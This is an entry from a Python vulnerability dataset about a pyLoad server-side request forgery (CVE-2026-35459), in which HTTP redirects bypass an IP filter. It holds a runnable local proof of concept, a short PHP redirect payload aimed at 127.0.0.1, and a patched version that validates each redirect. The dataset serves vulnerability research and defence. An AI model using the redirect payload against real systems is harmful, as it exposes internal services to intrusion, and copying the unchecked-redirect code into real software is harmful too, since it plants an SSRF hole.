VAITP Dataset

← Back to the dataset

CVE-2026-35459

pyLoad SSRF vulnerability allows bypassing IP filters via HTTP redirects.

  • CVSS 9.3
  • CWE-918
  • Input Validation and Sanitization
  • Remote

pyLoad is a free and open-source download manager written in Python. In 0.5.0b3.dev96 and earlier, pyLoad has a server-side request forgery (SSRF) vulnerability. The fix for CVE-2026-33992 added IP validation to BaseDownloader.download() that checks the hostname of the initial download URL. However, pycurl is configured with FOLLOWLOCATION=1 and MAXREDIRS=10, causing it to automatically follow HTTP redirects. Redirect targets are never validated against the SSRF filter. An authenticated user with ADD permission can bypass the SSRF fix by submitting a URL that redirects to an internal address.

CVSS base score
9.3
Published
2026-04-06
OWASP
A10 Server-Side Request Forgery
Orthogonal defect classification
Checking
Code defect classification
Missing Check
Category
Input Validation and Sanitization
Subcategory
Server-Side Request Forgery (SSRF)
Accessibility scope
Remote
Impact
Information Disclosure
Affected component
pyLoad

Solution

Upgrade pyLoad to version 0.5.0b3.dev97 or later.

Vulnerable code sample

import http.server
import socketserver
import threading
import requests
import time
from urllib.parse import urlparse
import socket

# --- Server Setup to Simulate the Environment ---

# 1. An "internal" service that should not be accessible from the outside.
INTERNAL_PORT = 8081
class InternalServiceHandler(http.server.BaseHTTPRequestHandler):
    def do_GET(self):
        self.send_response(200)
        self.send_header('Content-type', 'text/plain')
        self.end_headers()
        self.wfile.write(b"SUCCESS: Internal service was reached.")
        print(f"\n--- VULNERABILITY EXPLOITED ---")
        print(f"[+] Request received by the internal service on 127.0.0.1:{INTERNAL_PORT}")
        print(f"[+] SSRF attack was successful.\n")

# 2. An "external" service that is allowed and hosts a redirect.
REDIRECTOR_PORT = 8080
class RedirectHandler(http.server.BaseHTTPRequestHandler):
    def do_GET(self):
        self.send_response(302)
        redirect_location = f"http://127.0.0.1:{INTERNAL_PORT}/"
        self.send_header('Location', redirect_location)
        self.end_headers()
        print(f"[i] Redirector at localhost:{REDIRECTOR_PORT} is sending a 302 redirect to {redirect_location}")

def run_server(handler_class, port):
    with socketserver.TCPServer(("", port), handler_class) as httpd:
        httpd.serve_forever()

# --- Vulnerable Code Representation ---

class VulnerableDownloader:
    def is_forbidden_ip(self, ip):
        """Simulates the IP filter that blocks local/private addresses."""
        parts = ip.split('.')
        if ip == '127.0.0.1': return True
        if parts[0] == '10': return True
        if parts[0] == '192' and parts[1] == '168': return True
        if parts[0] == '172' and 16 <= int(parts[1]) <= 31: return True
        return False

    def download(self, url):
        """
        This method represents the vulnerable logic in pyLoad before the fix.
        It checks the initial URL but fails to validate redirect targets.
        """
        print(f"[*] Received download request for: {url}")

        # 1. The flawed validation: Check the IP of the INITIAL URL's hostname.
        try:
            hostname = urlparse(url).hostname
            ip_address = socket.gethostbyname(hostname)
            print(f"[+] Resolved initial hostname '{hostname}' to IP: {ip_address}")

            if self.is_forbidden_ip(ip_address):
                print(f"[-] FAILED: Initial IP check blocked forbidden address {ip_address}.")
                return
            else:
                print(f"[+] PASSED: Initial IP check for {ip_address} is OK.")

        except Exception as e:
            print(f"[-] FAILED: Could not perform initial IP check. Error: {e}")
            return

        # 2. The vulnerable action: Make the request, automatically following redirects.
        # This simulates pycurl's FOLLOWLOCATION=1 behavior. `requests` follows
        # redirects by default.
        try:
            print(f"[*] Starting download from {url} (auto-following redirects)...")
            # In the actual vulnerability, this was a pycurl call.
            # `requests.get` with default `allow_redirects=True` serves the same purpose here.
            response = requests.get(url, timeout=5)
            
            print(f"[i] Request finished. Final URL was: {response.url}")
            print(f"[i] Final status code: {response.status_code}")
            if response.status_code == 200:
                print(f"[i] Response from final destination: {response.text}")

        except requests.exceptions.RequestException as e:
            print(f"[-] Download request failed. Error: {e}")

if __name__ == '__main__':
    # Start the internal and redirector servers in background threads
    internal_server = threading.Thread(target=run_server, args=(InternalServiceHandler, INTERNAL_PORT), daemon=True)
    redirector_server = threading.Thread(target=run_server, args=(RedirectHandler, REDIRECTOR_PORT), daemon=True)
    internal_server.start()
    redirector_server.start()
    time.sleep(0.5) # Give servers a moment to start

    downloader = VulnerableDownloader()

    # --- DEMONSTRATION OF THE VULNERABILITY ---
    
    # This is the URL an attacker would provide.
    # The hostname 'localhost' (127.0.0.1) is used for the redirector for this local demo.
    # The check will see 127.0.0.1, but since it hosts the *redirector*, we'll
    # pretend it's a "public" IP for the sake of the demo's logic flow.
    # In a real attack, this would be a public IP controlled by the attacker.
    # The important part is that the redirect points to a *different* internal IP.
    attack_url = f"http://localhost:{REDIRECTOR_PORT}/redirect"
    
    downloader.download(attack_url)

Patched code sample

import pycurl
from io import BytesIO
import socket
from urllib.parse import urlparse
import ipaddress

def is_safe_host(hostname):
    """
    Resolves the hostname to an IP address and checks if it is a globally
    routable address. This prevents requests to private, loopback, or
    otherwise reserved IP ranges.
    
    This function simulates the IP validation that was bypassed in the vulnerability.
    """
    if not hostname:
        return False
    try:
        # Resolve the hostname to its IP address string.
        ip_addr_str = socket.gethostbyname(hostname)
        
        # Use the ipaddress module for robust IP validation.
        ip = ipaddress.ip_address(ip_addr_str)
        
        # is_global is True if the address is not private, reserved, or loopback.
        # This is the check that prevents SSRF to internal network resources.
        return ip.is_global
    except (socket.gaierror, ValueError):
        # If the hostname cannot be resolved or is an invalid IP, treat it as unsafe.
        return False

def download_with_manual_redirect_validation(url, max_redirects=10):
    """
    Demonstrates the fix for the SSRF vulnerability by disabling automatic
    redirects and manually validating the hostname of each URL in a redirect chain.
    """
    curl = pycurl.Curl()
    
    # The core of the fix: Disable pycurl's automatic redirect following.
    # The vulnerable code had this set to 1 (enabled). By setting it to 0,
    # we can intercept redirects and apply security checks.
    curl.setopt(pycurl.FOLLOWLOCATION, 0)
    
    current_url = url
    redirect_count = 0

    while redirect_count <= max_redirects:
        # --- FIX IMPLEMENTATION START ---
        # Before every request, validate the hostname of the current URL.
        # This check is now applied to the initial URL and all subsequent
        # URLs from 'Location' headers.
        parsed_url = urlparse(current_url)
        if not is_safe_host(parsed_url.hostname):
            curl.close()
            raise ValueError(
                f"SSRF Blocked: Redirect to unsafe host '{parsed_url.hostname}' was prevented."
            )
        # --- FIX IMPLEMENTATION END ---

        curl.setopt(pycurl.URL, current_url)
        
        # Use a buffer to capture response data without writing to a file.
        response_buffer = BytesIO()
        curl.setopt(pycurl.WRITEDATA, response_buffer)
        
        curl.perform()

        status_code = curl.getinfo(pycurl.HTTP_CODE)

        # Manually handle redirect status codes (3xx).
        if 300 <= status_code < 400:
            redirect_url = curl.getinfo(pycurl.REDIRECT_URL)
            if not redirect_url:
                curl.close()
                raise ConnectionError(
                    "Redirect status received, but no 'Location' header was found."
                )
            
            # Update the URL to the new location and continue the loop.
            # The validation check at the start of the loop will vet this new URL.
            current_url = redirect_url
            redirect_count += 1
        else:
            # If it's not a redirect, the download is complete (or failed).
            curl.close()
            return status_code, response_buffer.getvalue()
    
    # If the loop terminates due to too many redirects.
    curl.close()
    raise ConnectionError(f"Exceeded maximum redirects ({max_redirects}).")

Payload

<?php
header("Location: http://127.0.0.1:8000/");
http_response_code(302);
?>

Cite this entry

@misc{vaitp:cve202635459,
  title        = {{pyLoad SSRF vulnerability allows bypassing IP filters via HTTP redirects.}},
  author       = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
  year         = {2026},
  note         = {VAITP Python Vulnerability Dataset, entry CVE-2026-35459},
  howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2026-35459/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.

The supreme art of war is to subdue the enemy without fighting.

Sun Tzu – “The Art of War”

:: Shaping the future through research and ingenuity ::